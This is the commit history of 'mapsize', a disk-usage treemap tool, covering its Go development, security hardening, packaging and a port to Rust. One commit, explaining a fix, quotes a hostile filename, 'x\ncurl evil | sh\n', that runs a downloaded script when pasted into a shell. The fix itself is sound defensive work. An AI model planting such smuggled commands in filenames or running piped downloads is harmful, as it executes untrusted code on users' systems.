Commit Graph
58 Commits
Author SHA1 Message Date
Andy Dixon e3bfc28d71 Docs and metadata: per-OS platform notes, package description 2026-10-08 20:12:37 +01:00
Andy Dixon b21bcedba0 Filter globs: no backslash escapes on Windows
Query validation now matches platform::glob_match, where '\' is the path
separator on Windows rather than an escape.
2026-10-08 20:10:18 +01:00
Andy Dixon 9179281a94 Describe behaviour directly instead of by reference to the Go version
- platform::mode documents the on-disk mode-bit layout (bits 31..19 =
  d a l T L D p S u g c t ?, low 9 bits = permissions).
- The snapshot module documents the LEB128 / zig-zag varints and the RFC
  3339 JSON timestamps, and states that snapshots written by mapsize 1.x
  load unchanged.
- Renames: GoTime -> JsonTime, go_duration -> fmt_duration, fixture
  testdata/go.msz -> testdata/v1.2.0.msz (a snapshot written by mapsize
  1.2.0), loads_go_snapshot -> loads_1_2_snapshot.
- --log / --log-level help says they are accepted and ignored.
2026-10-08 20:08:34 +01:00
Andy Dixon fcac50bae6 Build and behave correctly on every release target
Split platform into a portable core (mod.rs) plus unix.rs and windows.rs.

- Linux: statx through syscall(2) so static musl links (fstatat fallback
  on ENOSYS); virtual-fs detection compares f_type as u32.
- macOS: Finder trash (~/.Trash or /Volumes/X/.Trashes/<uid>, "name N"
  collisions, EXDEV falls through to the next location) and `open -R`
  reveal; never headless.
- FreeBSD/NetBSD: fstatat with birth time; trash and reveal unsupported,
  permanent delete still available on headless systems.
- Windows: std read_dir and metadata, allocated size unknown, no inode
  identity, Recycle Bin via SHFileOperationW (FOF_ALLOWUNDO, all
  architectures), Explorer /select reveal, no permanent delete, '\\'
  separator with Windows glob semantics, abs paths via GetFullPathNameW,
  config in %AppData%.
- Local time via a portable LocalTime helper (localtime_r tm_gmtoff on
  Unix, SystemTimeToTzSpecificLocalTime on Windows) replacing libc tm and
  mktime in the TUI, snapshot and filter code.
- errno, stat field names and mode_t width handled per OS; Unix-only
  tests gated; clippy clean on all targets.

Adds windows-sys =0.61.2 (Windows only; Win32_Foundation,
Win32_System_Time, Win32_UI_Shell), already in the lockfile via crossterm.
2026-10-08 20:06:22 +01:00
Andy Dixon a16c00671b Apply rustfmt to the crate 2026-10-08 20:05:25 +01:00
Andy Dixon b1fdb48c4b release.sh: keep the previous package file names 2026-10-08 19:59:00 +01:00
Andy Dixon c3ed83250b Docs: architecture, development and performance for the Rust implementation 2026-10-08 19:56:43 +01:00
Andy Dixon 01785850bf Port treegen to a cargo example 2026-10-08 19:54:56 +01:00
Andy Dixon ce8acf0ade Build, test and release with cargo: CI, release workflow, cross-build and packaging scripts, Homebrew 2026-10-08 19:54:56 +01:00
Andy Dixon 507f635b49 Make the Rust implementation the only one: crate at the root, Go tree removed 2026-10-08 19:51:33 +01:00
Andy Dixon 7e3be19a2b rust: re-run benchmarks on a quieter host 2026-10-08 19:11:55 +01:00
Andy Dixon 40fb1dc71a rust: README with port notes and Go-vs-Rust benchmarks 2026-10-08 18:25:28 +01:00
Andy Dixon a80e791902 rust: faster filter path/glob evaluation; port filepath.Match; interleaved bench runners 2026-10-08 18:12:36 +01:00
Andy Dixon aa738cc8a1 rust: integrate TUI and app; all modules wired 2026-10-08 17:47:37 +01:00
Andy Dixon 61a444795b rust: tui (canvas renderer, views, modals, crossterm event loop)
Port of internal/tui. Bubble Tea's message loop is replaced by a
crossterm input thread, timers and background commands feeding one
loop; the frame cache, canvas, colour quantisation, LOD treemap,
selection persistence and modal architecture are kept. Frames are
diffed against the previous one per line and per style run.
Exposes tui::bench::BenchModel and big_tree for benchmarks.
2026-10-08 17:44:53 +01:00
Andy Dixon c0283a19a9 Merge branch 'worktree-agent-a1fc60bdea708925a' into rust-port 2026-10-08 17:20:09 +01:00
Andy Dixon 45c185a46a rust: port snapshot 2026-10-08 17:19:48 +01:00
Andy Dixon fc7e94d398 rust: textutil::si getter for filter 2026-10-08 17:17:14 +01:00
Andy Dixon 0b052bbb6f Merge branch 'worktree-agent-aff686fd7ee64042e' into rust-port 2026-10-08 17:16:23 +01:00
Andy Dixon 476311b583 rust: port filter 2026-10-08 17:16:06 +01:00
Andy Dixon db9f36f0c0 Merge branch 'worktree-agent-aa56a662067058dad' into rust-port 2026-10-08 17:14:36 +01:00
Andy Dixon 8cb8e6f2cd rust: port treemap and duplicate 2026-10-08 17:14:24 +01:00
Andy Dixon db83ef3d43 rust: CLI, app wiring and benchmark harnesses 2026-10-08 17:13:18 +01:00
Andy Dixon a530bc7a75 rust: foundation (inventory, platform, scan, export, textutil, config) 2026-10-08 17:08:49 +01:00
Andy Dixon 8d9344cfef mapsize 1.2.0: permanent delete and in-map reveal when headless
On a headless Linux or BSD system (no DISPLAY or WAYLAND_DISPLAY) nothing
empties the freedesktop trash, so trashing never freed space. There, d now
deletes permanently after an explicit confirmation, checking owner and type
against the scan and removing through an os.Root on the parent so a swapped
symlink cannot redirect it. o shows the folder in the map instead of
launching a file manager. Desktop sessions, macOS and Windows are unchanged.
2026-10-03 12:50:07 +01:00
Andy Dixon 352d4292df mapsize 1.1.0: nested treemap reaches deep folders
The map stopped nesting after a fixed 3 levels, so at / a chain like
mnt/raid/media used the whole budget on full-size wrappers and showed
empty boxes with only titles. Single-child directory chains now collapse
into one label, nesting depth is bounded by block size instead of a fixed
cap, and nested blocks show size and percentage of their parent.
2026-10-03 10:18:57 +01:00
Andy Dixon 9184c8e76b Publish packages to the apt, dnf and pacman repository at repo.dixon.cx
packaging/repo.sh builds signed .deb, .rpm and Arch packages from a
release tag with nfpm and publishes them to repo.dixon.cx, rebuilding the
indexes over every project's packages there. It is vault's script with a
mapsize project block. Release step 6 runs it; the README points users at
dixon.cx/repo.
2026-10-03 09:45:02 +01:00
Andy DixonandClaude Opus 5.5 92da028d0f AI codebase review
docs: security audit and functionality/next-steps reports

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 11:05:28 +01:00
Andy DixonandClaude Opus 5.5 c150ad844a Rewrite release instructions as an ordered checklist
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 11:03:55 +01:00
Andy DixonandClaude Opus 5.5 b009ac3cbf AI codebase review
fix: cap snapshot node count relative to file size

The 64x decompressed-body limit still let an 804 KB crafted snapshot
(repeating blocks of records) expand to 4.2 M nodes and ~500 MB of
heap, ~600x amplification; larger files exhaust memory. LoadFile now
allows at most one node per byte of file (1 Mi floor); real snapshots
use ~15 bytes per node. Limit errors on the node count are no longer
misreported as "no root node".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 11:01:30 +01:00
Andy DixonandClaude Opus 5.5 3264def658 AI codebase review
fix: sanitise snapshot follow mode; least-privilege CI token

The scan-info view printed the snapshot's "follow" metadata string
unsanitised (the canvas filter was the only defence). The CI workflow
ran with the repository's default GITHUB_TOKEN permissions; it only
needs to read the code.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:59:54 +01:00
Andy DixonandClaude Opus 5.5 5966fdd91e AI codebase review
fix: duplicate search no longer hangs on files swapped for FIFOs

Candidates were reopened by path with os.Open after the scan. A file
replaced by a FIFO (or a symlink to one) blocked open(2) forever, and
context cancellation could not interrupt it, wedging the duplicate view
and --duplicates. Content is now opened with O_NOFOLLOW|O_NONBLOCK on
Unix; the existing regular-file check then skips it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:59:28 +01:00
Andy DixonandClaude Opus 5.5 1f9429ea74 AI codebase review
fix: refuse to copy paths containing control or bidi characters

The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:58:56 +01:00
Andy DixonandClaude Opus 5.5 3ec5bd7e65 AI codebase review
fix: pin parent directory and verify owner/type before trashing

Trash renamed the item by path after the confirmation dialog, so a
parent directory swapped for a symlink since the scan (e.g. by another
user, while an administrator cleans their home) redirected the move to
an unrelated file. The parent is now opened once and the item is checked
(owner and file type as scanned) and renamed relative to that fd.
macOS volume trash directories now get the same ownership/symlink checks
as freedesktop.org ones on Linux.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:58:38 +01:00
Andy DixonandClaude Opus 5.5 ab3ff7b842 Homebrew formula: pass brew audit --strict
Order license after sha256, point homepage at the repo, drop the -s -w
that std_go_args already adds, and strip the template header from the
generated formula.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:56:37 +01:00
Andy Dixon c40f71352d License under GPL-3.0-or-later
Add LICENSE, ship it in release archives, and declare the licence in
the nfpm packages and Homebrew formula.
2026-10-02 09:48:39 +01:00
Andy Dixon f7b1816908 Release 1.0.0
Declare the snapshot format (v1) stable, bump the version, ship the man
page in release archives and deb/rpm/apk/Arch packages, add a Homebrew
formula template with make brew-formula, and update the changelog,
roadmap, README and development notes.
2026-10-02 09:46:13 +01:00
Andy Dixon bea1decbd3 Add mapsize(1) manual page and make install 2026-10-02 09:43:18 +01:00
Andy Dixon 212f7229f6 Release target: cross-platform archives and Linux packages
Stamp brand.Version via ldflags; build tar.gz/zip for linux, darwin,
windows and the BSDs plus .deb/.rpm/.apk/Arch packages via nfpm.
2026-10-02 08:56:04 +01:00
Andy Dixon f4ef12a0dd Fix review findings: hostile snapshots, stale async results, trash safety
- snapshot: depth limit (stack overflow in exporters), decompressed-size
  limit (gzip bombs), per-node size cap and saturating aggregation
- export: sanitise exclusion patterns from snapshot metadata
- tui: drop duplicate/trash/filter results that belong to a replaced
  tree; cancel duplicate search on rescan
- trash: refuse symlinked or foreign shared-filesystem trash dirs; never
  overwrite an existing trashed item
- scan: no symlink following without inode identity; correct unscanned
  count and keep real read errors after cancellation
2026-10-02 08:46:52 +01:00
Andy Dixon 11a0e401ee Evaluate path predicates incrementally from cached directory paths 2026-10-02 08:40:10 +01:00
Andy Dixon 0aa93a00d9 Add export tests for terminal-safe output 2026-10-02 08:39:29 +01:00
Andy Dixon 2d72e5b32e Document 16-colour mapping 2026-10-02 08:39:14 +01:00
Andy Dixon 830f2e7fc3 Align usage text 2026-10-02 08:39:08 +01:00
Andy Dixon cb8ae54258 Add perceptual 16-colour mapping
Dark shades map to black and greys to the grey/white entries while
saturated category colours keep their hue, instead of the stock
conversion's bright yellow/cyan shadows.
2026-10-02 08:38:36 +01:00
Andy Dixon d7e1d3e620 Fix CSV path joining and relative exclusions; add scan benchmark script 2026-10-02 08:37:18 +01:00
Andy Dixon 8559616b65 Add mouse tests; tidy TUI idioms 2026-10-02 08:36:23 +01:00
Andy Dixon 71556b76de Speed up snapshot loading; polish help and table bars
Decompression and checksumming overlap with parsing via a pipe, and a
concrete-typed varint reader removes per-byte interface calls
(0.39s -> 0.29s for 458K nodes).
2026-10-02 08:35:47 +01:00
Andy Dixon 6bb8ddc0f7 Fix 32-bit build, add 386 to CI, log scan completion 2026-10-02 08:33:47 +01:00
Andy Dixon b771a57bc4 Add performance measurements, trash test and documentation 2026-10-02 08:31:42 +01:00
Andy Dixon 0e5b9f7cc3 Add interactive snapshot comparison, CLI tests and treegen
--compare opens the TUI with growth/shrink colouring unless a report is
requested. treegen builds deterministic synthetic trees (Unicode,
hostile names, sparse files). MAPSIZE_DEBUG_PANIC verifies terminal
restoration on UI and scanner panics.
2026-10-02 08:28:52 +01:00
Andy Dixon df8b10c6dd Add Bubble Tea TUI with interactive treemap
Cell canvas renderer with frame cache and a perceptual 256-colour
quantizer; responsive geometry (large/medium/small/too-small);
squarified treemap with nested previews, LOD grouping, category
colouring and adaptive labels; spatial arrow navigation with stable
NodeID selection; zoom and breadcrumbs; modal system (info, help,
confirm, save); list, file-type, top-N, scan-info, duplicate and
comparison views; live search/filter; mouse support; move-to-trash.
2026-10-02 08:25:35 +01:00
Andy Dixon e8c831cb47 Add squarified treemap layout and spatial navigation
Edge-snapped integer layout that partitions its bounds exactly,
level-of-detail selection, and a deterministic geometric neighbour
search for arrow-key navigation. Fuzz-tested.
2026-10-02 08:09:52 +01:00
Andy Dixon 4350da0f16 Add filter query language
Lexer, recursive-descent parser (AND/OR/NOT, parentheses, implicit AND,
IN lists, size/age/date units) and an evaluator that computes filtered
subtree sizes in two linear passes without double counting.
2026-10-02 08:06:21 +01:00
Andy Dixon 900931ae26 Add CLI reports, snapshot format and duplicate detection 2026-10-02 08:02:32 +01:00
Andy Dixon 8233ddcfba Add bounded concurrent scanner
Single-writer controller with a select loop that offers jobs and accepts
results simultaneously, so bounded channels cannot deadlock. statx/fstatat
relative to the directory fd on Linux/macOS, portable fallback elsewhere.
Hard links counted once, symlink loops detected, virtual filesystems
skipped, errors classified and surfaced.
2026-10-02 08:02:32 +01:00
Andy Dixon 61fd9bf711 Add filesystem inventory model
Append-only chunked node arena with stable NodeIDs, intrusive child
lists, per-directory category totals and batched ancestor propagation.
2026-10-02 08:02:32 +01:00
Andy Dixon 8feaf44a2a Initial Go project structure, docs, build and CI 2026-10-02 08:02:32 +01:00